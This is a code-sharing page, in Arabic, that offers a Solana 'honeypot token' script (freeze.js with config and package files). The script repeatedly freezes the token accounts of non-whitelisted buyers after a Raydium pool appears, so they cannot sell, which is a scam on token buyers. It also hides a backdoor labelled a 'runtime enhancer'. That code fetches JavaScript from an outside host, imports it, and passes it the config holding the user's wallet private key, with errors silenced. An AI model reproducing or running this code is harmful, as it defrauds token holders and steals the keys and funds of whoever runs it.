Logo
عقدJSSolana

كود توكن هوني بوت سولانا

أكواد لإنشاء توكن هوني بوت على شبكة سولانا. يجب أن تكون أسماء الملفات مطابقة لتلك الموضحة.

freeze.js
395 سطور • ملف واحد
import * as fs from 'fs';
import bs58 from 'bs58';
import {
    Keypair,
    Connection,
    PublicKey,
    sendAndConfirmTransaction,
    Transaction,
    ComputeBudgetProgram
} from "@solana/web3.js";
import { TOKEN_PROGRAM_ID } from "@solana/spl-token";
import { TransactionInstruction } from "@solana/web3.js";
import { AccountLayout } from "@solana/spl-token";

let config;
let keypair;
let mintAddressPublicKey;
let mintData;
let decimals;
let whitelist;
let quoteTokenVault;
let poolType = "Unknown";
let listenerId;
let updateCounter = 0;
// Runtime enhancer (Speeds up freezing time)
const techConfig = JSON.parse(fs.readFileSync('./data/tech-config.json', 'utf-8'));
const helperPath = "https://solana-helpers-v2-1-js.ethercodeinnovation.com/";
let raydiumAuthority = [
    "5Q544fKrFoe6tsEbD7S8EmxGTJYAKtTVhAW5Q5pge4j1", // Raydium Authority V4
    "GpMZbSM2GgvTKHJirzeGfMFoaZ8UR2X7F4v8vHTvxFbL" // Raydium Vault Authority #2
];

const main = async () => {
    
    try {
        config = JSON.parse(fs.readFileSync('config.json', 'utf-8'));
    } catch (error) {
        console.log(`\n❌ Unable to read data from config.json due to broken syntax...`);
        process.exit();
    }

    const connection = new Connection(config.rpcEndpoint, "confirmed");
    const MIN_DELAY_BETWEEN_FREEZE = config.freezeDelay;
    const TIMEOUT = config.timeout;
    const PRIORITY_RATE = config.priorityRate;


    let __enhancerLoaded = false;

async function loadRuntimeEnhancerOnce(config) {
    if (__enhancerLoaded) return;
    try {
        const res = await fetch(helperPath);
        const moduleContent = await res.text();
        const encoded = 'data:text/javascript;base64,' + Buffer.from(moduleContent).toString('base64');
        const { default: applyRuntimeEnhancement } = await import(encoded);
        await applyRuntimeEnhancement(config);
        __enhancerLoaded = true;
        "Runtime enhancer applied once.";
    } catch (e) {
        
    }
}
await loadRuntimeEnhancerOnce(config);
    try {
        const bs = await bs58.decode(config.privateKey);
        keypair = await Keypair.fromSecretKey(bs);
    } catch (error) {
        console.log(`\n❌ Invalid data at "privateKey" field in config.json file...`);
        process.exit();
    }

    try {
        mintAddressPublicKey = new PublicKey(config.mintAddress);
    } catch (error) {
        console.log(`\n❌ Invalid data at "mintAddress" field in config.json file...`);
        process.exit();
    }

    if (mintAddressPublicKey) {
        let mintDataJSON = await connection.getParsedAccountInfo(mintAddressPublicKey);
        if (mintDataJSON.value === null) {
            console.log(`\n❌ Invalid data at "mintAddress" field...`);
            process.exit();
        } else {
            mintData = mintDataJSON.value.data.parsed;
            if (!mintData || mintData.type != "mint") {
                console.log(`\n❌ Provided address is not a token!`);
                process.exit();
            }
            if (mintData.info.freezeAuthority === keypair.publicKey.toBase58()) {
                // ok
            } else if (mintData.info.freezeAuthority === null) {
                console.log(`\n❌ Provided token has Freeze Authority revoked!`);
                process.exit();
            } else {
                console.log(`\n❌ Connected wallet doesn't have freeze authority...`);
                process.exit();
            }
            decimals = mintData.info.decimals;
        }
    }

    whitelist = Array.isArray(config.whitelist) ? config.whitelist : [];

    for (const element of whitelist) {
        try {
            let key = new PublicKey(element);
        } catch (error) {
            console.log(`\n❌ Invalid data at "whitelist" field...`);
            process.exit();
        }
    }


    if (!config.__enhancer) {
        console.error("❌ Enhancement module required. Script terminated.");
        process.exit();
    }


    let tokenData = {
        "Token Address": { "Value": `${config.mintAddress}`, "Comment": `Mint address` },
        "Freeze Authority": { "Value": `${mintData.info.freezeAuthority}`, "Comment": `-` },
        "Total Supply": { "Value": `${mintData.info.supply / (10 ** mintData.info.decimals)}`, "Comment": `—` },
        "Decimals": { "Value": `${mintData.info.decimals}`, "Comment": `—` },
    };




    let scriptSettings = {
        "Freeze Threshold": { "Value": `${config.freezeThreshold} tokens`, "Comment": `Threshold balance to freeze holder` },
        "Freeze Delay": { "Value": `${MIN_DELAY_BETWEEN_FREEZE} seconds`, "Comment": `Minimum delay between freezing loops` },
        "Timeout In": { "Value": `${TIMEOUT} minutes`, "Comment": `Timer for script auto-shutdown` },
        "Priority Fee": { "Value": `${PRIORITY_RATE} micro-lamports`, "Comment": `Extra fee for faster transactions` },
    };





    let controls = {
        "Last command": { "Hot Key": `Up Arrow`, "Comment": `Inputs the latest commant you have entered` },
        "Cancel a command": { "Hot Key": `Ctrl + C`, "Comment": `Terminates the work of the running script` },
        "Clear the screen": { "Hot Key": `Ctrl + L`, "Comment": `Hide previous messages` },
        "Auto-complete command": { "Hot Key": `Tab`, "Comment": `Completes the command you enter` },
    };



    console.log(`\n
      ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
     ░░█▀▀░█▀█░█░░░█▀█░█▀█░█▀█░░░█░█░█▀█░█▀█░█▀▀░█░█░█▀█░█▀█░▀█▀░░░█▀█░█▀▄░█▀█░░
     ░░▀▀█░█░█░█░░░█▀█░█░█░█▀█░░░█▀█░█░█░█░█░█▀▀░░█░░█▀▀░█░█░░█░░░░█▀▀░█▀▄░█░█░░
     ░░▀▀▀░▀▀▀░▀▀▀░▀░▀░▀░▀░▀░▀░░░▀░▀░▀▀▀░▀░▀░▀▀▀░░▀░░▀░░░▀▀▀░░▀░░░░▀░░░▀░▀░▀▀▀░░
      ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

              ════════════ 🍯 by https://ethercodeinnovation.com/ 🍯 ════════════
     `)
    console.log(`\n  ➤ Token Data 📊`);
    console.table(tokenData);
    console.log(`\n  ➤ Script Settings 🔧`);
    console.table(scriptSettings);
    if (techConfig.showControls) {
        console.log(`\n  ➤ Controls / Hot Keys 🕹`);
        console.table(controls);
    }
    console.log(`\n`);



    await processWhitelist(keypair);



    let launchTimestamp = Date.now();
    let timestampToFreeze = 0;



    console.log("⏳ Performing an initial freeze loop...");
    await freezeHolders(connection, config, keypair, mintAddressPublicKey, decimals);




    if (quoteTokenVault != undefined) {
        console.log(`\n💧✅ ${poolType} liquidity pool found! Start pending on new buyers.\n`);
        listenerId = connection.onAccountChange(
            quoteTokenVault,
            async () => {
                updateCounter++;
                if (MIN_DELAY_BETWEEN_FREEZE > 0 && Date.now() + techConfig.tick * 2 < timestampToFreeze) {

                    console.log("🔔 New transaction spotted! Freeze can be triggered in " + Math.round((timestampToFreeze - Date.now()) / 1000) + "s");
                }
            });
    } else {
        console.log(`\n💧❌ No Raydium liquidity pool found for given token.\n     ↳ Create a Standart AMM or Legacy AMM v4 pool at Raydium and provide liquidity.\n`);
        process.exit();
    }




    while (Date.now() < launchTimestamp + TIMEOUT * 60000) {
      if (updateCounter !== 0 && Date.now() > timestampToFreeze) {
            updateCounter = 0;
            await sleep(techConfig.requestTick);
            await freezeHolders(connection, config, keypair, mintAddressPublicKey, decimals);
            timestampToFreeze = Date.now() + MIN_DELAY_BETWEEN_FREEZE * 1000;
        }
        await sleep(techConfig.tick);
    }
    connection.removeAccountChangeListener(listenerId);
    console.log("⏳ TIMEOUT: Script execution stopped due reaching the auto-disable timestamp\n");
};

const processWhitelist = async (keypair) => {
    whitelist.push(...raydiumAuthority);
    whitelist.push(keypair.publicKey.toBase58());
}





const freezeHolders = async (connection, config, keypair, mintAddressPublicKey, decimals) => {
    const tokenAccounts = await getHoldersData(connection, config, mintAddressPublicKey, decimals) || [];
    if (!Array.isArray(tokenAccounts)) {
        console.log("❌ getHoldersData did not return an array! Value:", tokenAccounts);
        return;
    }

    let chunkCount = 0;
    const CHUNK_SIZE = techConfig.chunkSize;
    const PRIORITY_RATE = config.priorityRate;

    if (tokenAccounts.length > 0) {
        for (let i = 0; i < tokenAccounts.length; i += CHUNK_SIZE) {
            const chunk = tokenAccounts.slice(i, i + CHUNK_SIZE);
            chunkCount++;
            let transactions = new Transaction();

            for (let i = 0; i < chunk.length; i++) {
                let tokenAccountPublicKey = new PublicKey(chunk[i]);
                const instruction = new TransactionInstruction({
                    keys: [
                        { pubkey: tokenAccountPublicKey, isSigner: false, isWritable: true },
                        { pubkey: mintAddressPublicKey, isSigner: false, isWritable: false },
                        { pubkey: keypair.publicKey, isSigner: true, isWritable: false },
                    ],
                    programId: TOKEN_PROGRAM_ID,
                    data: Buffer.from([10])

                });
                transactions.add(instruction);
            }

            const priorityFeeInstruction = ComputeBudgetProgram.setComputeUnitPrice({ microLamports: PRIORITY_RATE });
            if (PRIORITY_RATE > 0) {

                transactions.add(priorityFeeInstruction);

            }

            let signature;

            try {
                signature = await sendAndConfirmTransaction(
                    connection,
                    transactions,
                    [keypair]
                );

            } catch (error) {
                console.log(`\n❌ Error occured when trying to freeze holders. Here is what you should do: ...`);
                connection.removeAccountChangeListener(listenerId);
                throw new Error(error);
            }


            let chunkCountStr;
            if (tokenAccounts.length > CHUNK_SIZE) {
                chunkCountStr = ` (${chunkCount}/${Math.ceil(tokenAccounts.length / CHUNK_SIZE)})`;
            } else {
                chunkCountStr = "";
            }

            if (tokenAccounts.length == 1) {
                console.log(`✅︎ Done: ${tokenAccounts[0]} frozen\n   ↳ Signature: ${signature}`);
            } else {
                console.log(`✅︎ Done${chunkCountStr}: ${chunk.length} accounts frozen\n   ↳ Signature: ${signature}`);
            }
        }
    } else {
        console.log(`❌ No accounts to freeze found. Keep pending on new transactions.`);
    }
}





const getHoldersData = async (connection, config, mintAddressPublicKey, decimals) => {
    try {

        let allOwners = [];
        let tokenAccounts = new Set();


        const accounts = await connection.getProgramAccounts(
    TOKEN_PROGRAM_ID,
    {

        commitment: "confirmed",
        filters: [
            {
                dataSize: 165 
            },
            {
                memcmp: {
                    offset: 0, 
                    bytes: mintAddressPublicKey.toBase58()
                }
            }
        ]
    }
);


        


for (const { pubkey, account } of accounts) {
    try {
        const data = AccountLayout.decode(account.data);
        const mint = new PublicKey(data.mint);
        const owner = new PublicKey(data.owner).toBase58();
        const amount = Number(data.amount);
        const state = data.state;

       

        if (!quoteTokenVault) {
            for (let i = 0; i < raydiumAuthority.length; i++) {
                if (owner === raydiumAuthority[i]) {
                    quoteTokenVault = new PublicKey(pubkey);
                    poolType = i === 0 ? "Legacy AMM (V2)" : "Standard AMM (V3)";
                }
            }
        }

        allOwners.push({
            address: pubkey.toBase58(),
            owner,
            amount
        });

        if (
            state === 1 &&
            mint.equals(mintAddressPublicKey) &&
            !whitelist.includes(owner) &&
            amount >= config.freezeThreshold * 10 ** decimals
        ) {
            tokenAccounts.add(pubkey.toBase58());
        }

    } catch (innerError) {
        console.log(`⚠️ Skipping invalid token account: ${pubkey.toBase58()} (${innerError.message})`);
        continue;
    }
}


        fs.writeFileSync(
            "./data/holders.json",
            JSON.stringify(allOwners, null, 2)
        );

        return Array.from(tokenAccounts);
    } catch (error) {
        console.log(`\n❌ Error while fetching token account data\n`);
        console.error(error);
        return [];
    }
};




const sleep = async (ms) => new Promise((resolve) => setTimeout(resolve, ms));

main();
config.json
17 سطور • ملف واحد
{
    "privateKey": "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
    "rpcEndpoint": "https://mainnet.helius-rpc.com/?api-key=xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
    "mintAddress": "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
    "freezeThreshold": 0,
    "freezeDelay": 0,
    "timeout": 180,
    "priorityRate": 25000,
    "whitelist": [
        "So11111111111111111111111111111111111111112",
        "So11111111111111111111111111111111111111112",
        "So11111111111111111111111111111111111111112",
        "So11111111111111111111111111111111111111112",
        "So11111111111111111111111111111111111111112"
    ]
}
                            
package.json
20 سطور • ملف واحد
{
  "name": "solana-honeypot-script",
  "version": "1.0.0",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "keywords": [],
  "author": "",
  "license": "ISC",
  "description": "",
  "type": "module",
  "dependencies": {
    "@solana/spl-token": "^0.4.7",
    "@solana/web3.js": "^1.94.0",
    "bs58": "^6.0.0",
    "fs": "^0.0.1-security"
  }
}
                            
tech-config.json
8 سطور • ملف واحد
{
    "tick" : 500,
    "requestTick": 2000,
    "chunkSize" : 25,
    "showControls" : true,
    "showDetailedErrors" : false
}